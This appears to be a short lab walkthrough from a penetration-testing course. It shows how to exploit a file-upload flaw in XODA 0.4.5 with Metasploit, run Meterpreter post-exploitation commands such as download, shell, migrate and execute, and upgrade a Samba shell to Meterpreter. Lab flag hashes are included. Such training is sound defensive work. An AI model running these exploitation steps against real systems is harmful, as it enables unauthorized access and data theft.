🔬Meterpreter - MSF

Lab 1

🔬 Meterpreter Basics

  • Target IP: 192.170.151.3

  • Usage of the Meterpreter payload

ip -br -c a
service postgresql start && msfconsole -q
db_status
setg RHOSTS 192.170.151.3
setg RHOST 192.170.151.3
workspace -a MeterpreterBasics
  • Perform an nmap scan directly into MSF

db_nmap -sV 192.170.151.3
80/tcp   open http Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.47-0ubuntu0.14.04.1
curl http://192.170.151.3
search xoda
use exploit/unix/webapp/xoda_file_upload
info
# Description:
#   This module exploits a file upload vulnerability found in XODA 
#   0.4.5. Attackers can abuse the "upload" command in order to upload a 
#   malicious PHP file without any authentication, which results in 
#   arbitrary code execution. The module has been tested successfully on 
#   XODA 0.4.5 and Ubuntu 10.04.
set TARGETURI /
run

Meterpreter Commands

  • In the Meterpreter session

help

sysinfo

getuid

  • Unprivileged session with the www-data user

background

  • Keyboard shortcut: CTRL+Z

sessions

pwd / cd / ls

cat / edit

🚩 5c50a439f040922188a22f88cecc5277

🚩 bbbb3ed27502614e27bff65faea008a0

download

checksum

🚩 164ebd6889588da166a52ca0d57b9004

getenv

shell

  • Open a native Linux bash sessions by running after the shell command

  • Terminate the shell session with CTRL+C or with exit command

ps

migrate

  • It could not work due to lack of sufficient privileges/permissions

ifconfig

  • Works on Windows O.S.

execute

mkdir / rmdir


Lab 2

🔬 Same Samba SMB Exploitation lab

  • Target IP: 192.129.219.3

  • Metasploit post/multi/manage/shell_to_meterpreter module

  • Perform an nmap scan directly into MSF

Manual Shell to Meterpreter

  • This Linux command shell is not as advanced as Meterpreter.

  • Upgrade the command shell to a Meterpreter session on the target system

shell_to_meterpreter

Auto Shell to Meterpreter

  • Use the sessions -u option to upgrade the shell to a Meterpreter session

sessions -u 1

Last updated

Was this helpful?